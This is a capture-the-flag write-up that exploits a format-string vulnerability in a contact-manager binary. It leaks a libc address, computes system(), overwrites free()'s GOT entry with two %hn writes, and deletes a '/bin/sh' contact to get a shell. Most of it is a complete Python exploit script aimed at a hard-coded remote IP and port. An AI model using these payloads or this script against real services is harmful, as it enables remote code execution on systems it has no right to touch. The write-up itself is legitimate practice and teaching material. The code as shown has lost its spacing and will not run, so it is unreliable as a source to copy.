We can see that at
.text:08048C22the function takes our input (contact description) and used as format for the printf function. This is an obvious string format vulnerability.

SO I can use this vulnerability to leak any address from the stack. That is good because we will use it to leak addresses of mapped libc functions.

To exploit, I need to have my buffer in the stack so that I can point to the location I want to overwrite its value and then use %n or %hn to write 4 or 2 bytes respectively. The contact is a struct object

C

1

2

3

4

5

6

7

8

structcontact

{

char*desc_address;

char*phone_address;

charname[64];

unsignedintlength_desc;

intis_used;

};

Both addresses of description and phone are on the heap. Actually nothing is on the stack other than the length_desc. If I used length_descr = 0x41414141 it will be on the stack 9th value on the stack.

Ok great. Now I have read/write-what-where primitive

Exploitation

The binary has NX enabled so probably we will use ret2libc. ASLR was enabled so we should leak the address of a function in libc and then calculate the address of system() function accordingly. Checking the other variables in the stack using the string format vuln, I found that at offset 31 the address of __libc_start_main_ret. In my exploitation I will overwrite the GOT entry of free() function with system. This makes the exploitation much easier. The free() function recieves the address of the description of the contact. It is called that wayfree(contact.address);
If I managed to replace free() with system, then all I need to do is to have my “/bin/bash” in the description and try to remove that contact. It will then callsystem(contact.address)

The GOT address of free is at 0x804b014

To exploit, I followed the following steps
1- Create a contact to leak the address of __libc_start_main_ret
2- Calculate the address of system
3- Create contact to write the first two bytes in free() GOT address using %hn
4- Create contact to write the second two bytes in free() GOT address using %hn
5- Create a dummy contact with description “/bin/sh”
6- Remove the dummy contact shell will pop up

exploit.py

Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

importsocket

importtelnetlib

importstruct

defreaduntil(s,delim=""):

data=""

whiledelim notindata:

data+=s.recv(1)

returndata

defcreate_contact(s,name,phone,len_desc,desc):

s.send("1\n")#choose Create Contact

readuntil(s,"Name: ")

s.send(name+"\n")#sending name

readuntil(s,"Phone No: ")

s.send(phone+"\n")

readuntil(s,"Length of description: ")

s.send(len_desc+"\n")

readuntil(s,"Enter description:")

s.send(desc+"\n")

readuntil(s,">>> ")

defdisplay_contact(s,):

s.send("4\n")

returnreaduntil(s,">>> ")

defremove_contact(s,name):

s.send("2\n")

readuntil(s,"remove?")

s.send(name+"\n\n")

returnreaduntil(s,">>> ")

defmain():

PORT=2555

HOST="127.0.0.1"

HOST="54.208.16.165"

free_GOT=0x804b014

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((HOST,PORT))

readuntil(s,">>> ")

#creating first contact

print"[+] sending exploit"

create_contact(s,"leak_libc_address","123123123","10","%31$x")#leaking the address of __libc_start_main_ret

printdisplay_contact(s)

libc_address=int(raw_input("Enter libc_address: "),16)

command="/bin/sh"#raw_input("Command you want to execute: ")

command+=";"

offset_start_main=0x19a63#offset of __libc_start_main_ret in their libc

offset_system=0x0003fcd0#offset of _system() in libc

system_address=libc_address-offset_start_main+offset_system#calculating the address of libc

print"[+] system address: %x"%(system_address)

create_contact(s,"pwn","12312311","10",command)#dummy contact that we will delete to trigger exploit

print"[+] 1st two bytes of system: "+str(hex(system_address))[-4:]

print"[+] 2nd two bytes of system: "+str(hex(system_address))[2:6]

first_two_bytes_system_address=int(str(hex(system_address))[-4:],16)

secon_two_btyes_system_address=int(str(hex(system_address))[2:6],16)

payload1="%"+str(first_two_bytes_system_address)+"x%9$hn"

payload2="%"+str(secon_two_btyes_system_address)+"x%9$hn"

print"[+] 1st payload: "+payload1

print"[+] 2nd payload: "+payload2

create_contact(s,"exploit1","123123",str(free_GOT),payload1)#writing the first two bytes usin %hn

create_contact(s,"exploit2","123123",str(free_GOT+2),payload2)#writing the second two bytes using %hn

display_contact(s)#display the contacts so the exploit gets executed

display_contact(s)

#display_contact(s)

print"[+] Remove the user named pwn and you will get a shell :)"

#remove_contact(s, "dummy")

t=telnetlib.Telnet()

t.sock=s

t.interact()

#s.close()

if__name__=='__main__':

main()

PS: I solved this one after the CTF. I am still practicing pwning :). I just wanted to share it because most of the write-up I read are using two vulnerabilities together or using ROP and exploitation a bit complex. This one is much easier.